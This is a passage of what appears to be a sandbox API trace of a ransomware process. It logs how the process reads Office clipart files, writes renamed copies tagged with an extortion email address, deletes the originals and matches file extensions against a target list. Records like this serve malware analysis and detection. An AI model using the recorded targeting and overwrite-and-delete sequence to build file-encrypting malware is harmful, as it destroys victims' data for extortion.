	[0177.347] WriteFile (in: hFile=0x54c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0177.570] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.571] WriteFile (in: hFile=0x54c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.571] SetEndOfFile (hFile=0x54c) returned 1
	[0177.736] CloseHandle (hObject=0x54c) returned 1
	[0177.737] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.737] SetEndOfFile (hFile=0x344) returned 1
	[0177.941] CloseHandle (hObject=0x344) returned 1
	[0177.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1
	[0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.943] lstrlenW (lpString=".doc") returned 4
	[0177.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.943] lstrlenW (lpString=".docx") returned 5
	[0177.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.944] lstrlenW (lpString=".pdf") returned 4
	[0177.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.944] lstrlenW (lpString=".xls") returned 4
	[0177.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.944] lstrlenW (lpString=".xlsx") returned 5
	[0177.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.944] lstrlenW (lpString=".ppt") returned 4
	[0177.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.944] lstrlenW (lpString=".zip") returned 4
	[0177.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.944] lstrlenW (lpString=".rar") returned 4
	[0177.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.944] lstrlenW (lpString=".bz2") returned 4
	[0177.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.944] lstrlenW (lpString=".7z") returned 3
	[0177.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.944] lstrlenW (lpString=".dbf") returned 4
	[0177.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.944] lstrlenW (lpString=".1cd") returned 4
	[0177.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.945] lstrlenW (lpString=".jpg") returned 4
	[0177.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.945] lstrlenW (lpString=".doc") returned 4
	[0177.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.945] lstrlenW (lpString=".docx") returned 5
	[0177.945] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.945] lstrlenW (lpString=".pdf") returned 4
	[0177.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.945] lstrlenW (lpString=".xls") returned 4
	[0177.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.945] lstrlenW (lpString=".xlsx") returned 5
	[0177.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.945] lstrlenW (lpString=".ppt") returned 4
	[0177.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.945] lstrlenW (lpString=".zip") returned 4
	[0177.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.945] lstrlenW (lpString=".rar") returned 4
	[0177.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.946] lstrlenW (lpString=".bz2") returned 4
	[0177.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.946] lstrlenW (lpString=".7z") returned 3
	[0177.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.946] lstrlenW (lpString=".dbf") returned 4
	[0177.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.946] lstrlenW (lpString=".1cd") returned 4
	[0177.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0177.946] lstrlenW (lpString=".jpg") returned 4
	[0177.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.946] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.946] lstrlenW (lpString="J0107358.WMF") returned 12
	[0177.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0177.949] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7964) returned 1
	[0177.949] CloseHandle (hObject=0x344) returned 1
	[0177.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220
	[0177.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0177.950] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.950] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.952] GetLastError () returned 0x0
	[0177.952] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1f1c, lpOverlapped=0x0) returned 1
	[0177.979] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0177.981] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.981] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.981] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.013] CloseHandle (hObject=0x4a8) returned 1
	[0178.013] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.013] SetEndOfFile (hFile=0x344) returned 1
	[0178.035] CloseHandle (hObject=0x344) returned 1
	[0178.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1
	[0178.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.038] lstrlenW (lpString=".doc") returned 4
	[0178.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.038] lstrlenW (lpString=".docx") returned 5
	[0178.038] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.038] lstrlenW (lpString=".pdf") returned 4
	[0178.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.038] lstrlenW (lpString=".xls") returned 4
	[0178.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.038] lstrlenW (lpString=".xlsx") returned 5
	[0178.038] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.038] lstrlenW (lpString=".ppt") returned 4
	[0178.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.038] lstrlenW (lpString=".zip") returned 4
	[0178.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.039] lstrlenW (lpString=".rar") returned 4
	[0178.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.039] lstrlenW (lpString=".bz2") returned 4
	[0178.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.039] lstrlenW (lpString=".7z") returned 3
	[0178.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.039] lstrlenW (lpString=".dbf") returned 4
	[0178.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.039] lstrlenW (lpString=".1cd") returned 4
	[0178.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.039] lstrlenW (lpString=".jpg") returned 4
	[0178.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.039] lstrlenW (lpString=".doc") returned 4
	[0178.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.039] lstrlenW (lpString=".docx") returned 5
	[0178.040] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.040] lstrlenW (lpString=".pdf") returned 4
	[0178.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.040] lstrlenW (lpString=".xls") returned 4
	[0178.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.040] lstrlenW (lpString=".xlsx") returned 5
	[0178.040] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.040] lstrlenW (lpString=".ppt") returned 4
	[0178.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.040] lstrlenW (lpString=".zip") returned 4
	[0178.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.040] lstrlenW (lpString=".rar") returned 4
	[0178.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.040] lstrlenW (lpString=".bz2") returned 4
	[0178.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.040] lstrlenW (lpString=".7z") returned 3
	[0178.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.040] lstrlenW (lpString=".dbf") returned 4
	[0178.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.040] lstrlenW (lpString=".1cd") returned 4
	[0178.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0178.041] lstrlenW (lpString=".jpg") returned 4
	[0178.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.041] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.041] lstrlenW (lpString="J0107426.WMF") returned 12
	[0178.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.054] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=11492) returned 1
	[0178.054] CloseHandle (hObject=0x544) returned 1
	[0178.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220
	[0178.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.056] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.056] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.455] GetLastError () returned 0x0
	[0178.455] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2ce4, lpOverlapped=0x0) returned 1
	[0178.458] WriteFile (in: hFile=0x344, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0178.460] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.460] WriteFile (in: hFile=0x344, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.460] SetEndOfFile (hFile=0x344) returned 1
	[0178.461] CloseHandle (hObject=0x344) returned 1
	[0178.461] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.461] SetEndOfFile (hFile=0x544) returned 1
	[0178.473] CloseHandle (hObject=0x544) returned 1
	[0178.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1
	[0178.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.475] lstrlenW (lpString=".doc") returned 4
	[0178.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.475] lstrlenW (lpString=".docx") returned 5
	[0178.476] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0178.476] lstrlenW (lpString=".pdf") returned 4
	[0178.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.476] lstrlenW (lpString=".xls") returned 4
	[0178.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.476] lstrlenW (lpString=".xlsx") returned 5
	[0178.476] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0178.476] lstrlenW (lpString=".ppt") returned 4
	[0178.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.476] lstrlenW (lpString=".zip") returned 4
	[0178.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.476] lstrlenW (lpString=".rar") returned 4
	[0178.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.476] lstrlenW (lpString=".bz2") returned 4
	[0178.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.476] lstrlenW (lpString=".7z") returned 3
	[0178.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.476] lstrlenW (lpString=".dbf") returned 4
	[0178.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.477] lstrlenW (lpString=".1cd") returned 4
	[0178.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.477] lstrlenW (lpString=".jpg") returned 4
	[0178.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.477] lstrlenW (lpString=".doc") returned 4
	[0178.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.477] lstrlenW (lpString=".docx") returned 5
	[0178.477] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0178.477] lstrlenW (lpString=".pdf") returned 4
	[0178.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.477] lstrlenW (lpString=".xls") returned 4
	[0178.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.477] lstrlenW (lpString=".xlsx") returned 5
	[0178.477] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0178.477] lstrlenW (lpString=".ppt") returned 4
	[0178.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.478] lstrlenW (lpString=".zip") returned 4
	[0178.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.478] lstrlenW (lpString=".rar") returned 4
	[0178.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.478] lstrlenW (lpString=".bz2") returned 4
	[0178.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.478] lstrlenW (lpString=".7z") returned 3
	[0178.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.478] lstrlenW (lpString=".dbf") returned 4
	[0178.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.478] lstrlenW (lpString=".1cd") returned 4
	[0178.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0178.478] lstrlenW (lpString=".jpg") returned 4
	[0178.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.479] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.479] lstrlenW (lpString="J0107468.WMF") returned 12
	[0178.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.480] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9612) returned 1
	[0178.480] CloseHandle (hObject=0x544) returned 1
	[0178.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220
	[0178.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.481] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.481] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.483] GetLastError () returned 0x0
	[0178.483] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x258c, lpOverlapped=0x0) returned 1
